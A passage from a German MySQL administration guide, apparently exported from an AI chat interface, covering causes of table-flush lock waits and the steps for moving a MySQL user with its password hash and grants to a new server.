    <div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-40 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQzwE" decode-data-ved="1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-40"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-40"><div _ngcontent-ng-c1911328046="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c1911328046-40 ng-star-inserted"><span class="ng-tns-c1911328046-40">Bash</span><div _ngcontent-ng-c1911328046="" class="buttons ng-tns-c1911328046-40 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```bash
    mysqldump --single-transaction --quick -u root -p meinedatenbank > backup.sql
    
    ```
    
    <div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-40 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQzwE" decode-data-ved="1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-40"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-40"></div></div></div>

#### Ursache 2: Langsame `SELECT`-Queries ohne Index

Ein automatischer Wartungsjob (z. B. `ANALYZE TABLE`) oder DDL-Befehl möchte ein Table-Flush ausführen. Ein schlechter `SELECT`, der 5 Minuten für einen Full-Table-Scan braucht, blockiert den Flush.

- **Lösung:**
    
    
    - Analysiere langsame Abfragen mit `EXPLAIN` und setze fehlende Indizes.
    - Begrenze die maximale Laufzeit von Leseabfragen über Timeouts (z. B. in MySQL 8.0+):
        
        <div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-41 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQ0AE" decode-data-ved="1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-41"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-41"><div _ngcontent-ng-c1911328046="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c1911328046-41 ng-star-inserted"><span class="ng-tns-c1911328046-41">SQL</span><div _ngcontent-ng-c1911328046="" class="buttons ng-tns-c1911328046-41 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
        SET GLOBAL max_execution_time = 30000; -- bricht SELECTs nach 30 Sekunden ab
        
        ```
        
        <div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-41 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQ0AE" decode-data-ved="1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-41"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-41"></div></div></div>

#### Ursache 3: Nicht committete Transaktionen

Ein Entwickler oder eine Anwendung hat `BEGIN` ausgeführt, ein `SELECT` gemacht und vergessen, `COMMIT` oder `ROLLBACK` aufzurufen. Der Thread schläft (`Sleep`), hält aber die Metadata-Lock.

- **Lösung:** Aktive Transaktionen identifizieren:
    
    <div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-42 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQ0QE" decode-data-ved="1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-42"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-42"><div _ngcontent-ng-c1911328046="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c1911328046-42 ng-star-inserted"><span class="ng-tns-c1911328046-42">SQL</span><div _ngcontent-ng-c1911328046="" class="buttons ng-tns-c1911328046-42 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```mysql
    SELECT * FROM information_schema.innodb_trx;
    
    ```
    
    <div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-42 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQ0QE" decode-data-ved="1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-42"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-42"></div></div></div>Findest du dort alte Transaktionen (`trx_started`), kannst du diese gezielt mit `KILL [trx_mysql_thread_id]` beenden.

#### Ursache 4: Zu kleine Table Caches

Wenn MySQL ständig Tabellen schließen muss, weil der Cache voll ist, steigt die Wahrscheinlichkeit für Flush-Konflikte.

- **Lösung:** Überprüfe in der `my.cnf` / `my.ini` folgende Variablen und erhöhe sie gegebenenfalls:
    
    <div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-43 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQ0gE" decode-data-ved="1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-43"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-43"><div _ngcontent-ng-c1911328046="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c1911328046-43 ng-star-inserted"><span class="ng-tns-c1911328046-43">Ini, TOML</span><div _ngcontent-ng-c1911328046="" class="buttons ng-tns-c1911328046-43 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
    table_open_cache = 4096
    table_definition_cache = 4096
    
    ```
    
    <div _ngcontent-ng-c1911328046="" class="code-block ng-tns-c1911328046-43 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwj9kIz6u-iVAxUAAAAAHQAAAAAQ0gE" decode-data-ved="1" jslog="223238;track:impression,attention;BardVeMetadataKey:[["r_77d6ed3e9a0fcda6","c_ce4f42e318667e5f",null,"rc_06c37c02ecd6b6fc",null,null,"de",null,1,null,null,1,0]]"><div _ngcontent-ng-c1911328046="" class="formatted-code-block-internal-container ng-tns-c1911328046-43"><div _ngcontent-ng-c1911328046="" class="animated-opacity ng-tns-c1911328046-43"></div></div></div>

### Zusammenfassung zur Prävention

<table data-path-to-node="33" id="bkmrk-problem-schnelle-abh"><thead><tr><td>**Problem**</td><td>**Schnelle Abhilfe**</td><td>**Langfristige Prävention**</td></tr></thead><tbody><tr><td><span data-path-to-node="33,1,0,0">**Backups**</span></td><td><span data-path-to-node="33,1,1,0">`--single-transaction` nutzen</span></td><td><span data-path-to-node="33,1,2,0">Keine `FLUSH TABLES WITH READ LOCK` auf InnoDB nutzen</span></td></tr><tr><td><span data-path-to-node="33,2,0,0">**Langläufer**</span></td><td><span data-path-to-node="33,2,1,0">Prozess mit `KILL <ID>` beenden</span></td><td><span data-path-to-node="33,2,2,0">Indizes optimieren &amp; Query-Timeouts setzen</span></td></tr><tr><td><span data-path-to-node="33,3,0,0">**Offene Transaktionen**</span></td><td><span data-path-to-node="33,3,1,0">Idle-Connections kappen</span></td><td><span data-path-to-node="33,3,2,0">`interactive_timeout` &amp; `wait_timeout` reduzieren</span></td></tr></tbody></table>

# User auf neuen Server umziehen

<div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-um-einen-mysql-benut" inline-copy-host=""><div>Um einen MySQL-Benutzer inklusive seines verschlüsselten Passworts und aller Rechte 1:1 auf einen neuen Server zu übertragen, nutzt du am besten das MySQL-Kommando `SHOW CREATE USER`.</div>  
</div>#### Schritt 1: Benutzer und Passworthash auf dem alten Server auslesen

<div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-melde-dich-auf-dem-a" inline-copy-host=""><div>Melde dich auf dem **alten Server** in MySQL an:</div>  
</div><div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-29 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="3" id="bkmrk-bash" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-29"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-29"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-29 ng-star-inserted"><span class="ng-tns-c2000434957-29">Bash</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-29 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
mysql -u root -p

```

<div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-29 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="3" id="bkmrk-" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-29"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-29"></div></div></div><div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-f%C3%BChre-folgenden-befe" inline-copy-host=""><div>Führe folgenden Befehl für den gewünschten Benutzer aus (ersetze `benutzername` und `localhost` bzw. `%` entsprechend):</div>  
</div><div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-30 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="6" id="bkmrk-sql" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-30"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-30"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-30 ng-star-inserted"><span class="ng-tns-c2000434957-30">SQL</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-30 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
SHOW CREATE USER 'benutzername'@'localhost';

```

<div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-30 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="6" id="bkmrk--1" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-30"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-30"></div></div></div><div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-ausgabe%3A-mysql-gibt-" inline-copy-host=""><div>**Ausgabe:**</div><div>MySQL gibt dir ein fertiges `CREATE USER`-Statement zurück, das das bereits gehashte Passwort enthält. Das sieht ungefähr so aus:</div>  
</div><div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-31 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="9" id="bkmrk-sql-1" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-31"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-31"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-31 ng-star-inserted"><span class="ng-tns-c2000434957-31">SQL</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-31 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
CREATE USER 'benutzername'@'localhost' IDENTIFIED WITH 'caching_sha2_password' AS '$A$005$...' FAILED_LOGIN_ATTEMPTS 0 PASSWORD_LOCK_TIME 0 ACCOUNT UNLOCK PASSWORD EXPIRE DEFAULT;

```

<div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-31 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="9" id="bkmrk--2" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-31"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-31"></div></div></div><div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-%28kopiere-dieses-gesa" inline-copy-host=""><div>*(Kopiere dieses gesamte `CREATE USER ...`-Statement).*</div>  
</div>#### Schritt 2: Berechtigungen (Grants) auslesen

<div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-lies-direkt-danach-d" inline-copy-host=""><div>Lies direkt danach die zugewiesenen Rechte des Benutzers aus:</div>  
</div><div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-32 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="12" id="bkmrk-sql-2" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-32"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-32"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-32 ng-star-inserted"><span class="ng-tns-c2000434957-32">SQL</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-32 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
SHOW GRANTS FOR 'benutzername'@'localhost';

```

<div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-32 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="12" id="bkmrk--3" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-32"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-32"></div></div></div><div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-ausgabe%3A-du-erh%C3%A4ltst" inline-copy-host=""><div>**Ausgabe:**</div><div>Du erhältst eine oder mehrere Zeilen mit `GRANT`-Befehlen, zum Beispiel:</div>  
</div><div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-33 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="15" id="bkmrk-sql-3" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-33"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-33"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-33 ng-star-inserted"><span class="ng-tns-c2000434957-33">SQL</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-33 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
GRANT ALL PRIVILEGES ON `meine_datenbank`.* TO `benutzername`@`localhost`;

```

<div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-33 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="15" id="bkmrk--4" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-33"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-33"></div></div></div><div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-%28kopiere-alle-ausgeg" inline-copy-host=""><div>*(Kopiere alle ausgegebenen `GRANT`-Zeilen).*</div>  
</div>#### Schritt 3: Benutzer auf dem neuen Server anlegen

<div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-melde-dich-auf-dem-n" inline-copy-host=""><div>Melde dich auf dem **neuen Server** in MySQL an:</div>  
</div><div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-34 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="18" id="bkmrk-bash-1" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-34"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-34"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-34 ng-star-inserted"><span class="ng-tns-c2000434957-34">Bash</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-34 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
mysql -u root -p

```

<div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-34 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="18" id="bkmrk--5" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-34"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-34"></div></div></div><div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-f%C3%BCge-den-in-schritt-" inline-copy-host="">1. <div>Füge den in **Schritt 1** kopierten `CREATE USER`-Befehl ein und führe ihn aus.</div>
2. <div>Füge die in **Schritt 2** kopierten `GRANT`-Befehle ein und führe sie aus.</div>
3. <div>Aktualisiere die Rechtematrix:</div>

</div><div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-35 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="21" id="bkmrk-sql-4" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-35"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-35"><div _ngcontent-ng-c2000434957="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c2000434957-35 ng-star-inserted"><span class="ng-tns-c2000434957-35">SQL</span><div _ngcontent-ng-c2000434957="" class="buttons ng-tns-c2000434957-35 ng-star-inserted"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted"></button></div></div></div></div></div>```
FLUSH PRIVILEGES;

```

<div _ngcontent-ng-c2000434957="" class="code-block ng-tns-c2000434957-35 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="21" id="bkmrk--6" jslog="223238;track:impression,attention;BardVeMetadataKey:W1sicl8yYTUyOWJjMTIyNTA5MjQ2IiwiY19kNTZjMWEyM2MzZmEzNzE3IixudWxsLCJyY18wM2FlNGIxNzA2OWFkM2NmIixudWxsLG51bGwsImRlIixudWxsLDEsbnVsbCxudWxsLDEsMF1d"><div _ngcontent-ng-c2000434957="" class="formatted-code-block-internal-container ng-tns-c2000434957-35"><div _ngcontent-ng-c2000434957="" class="animated-opacity ng-tns-c2000434957-35"></div></div></div><div _ngcontent-ng-c558000231="" aria-busy="false" aria-live="off" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk--7" inline-copy-host=""></div>#### Alternative: Automatisiert über die Kommandozeile (für viele User)

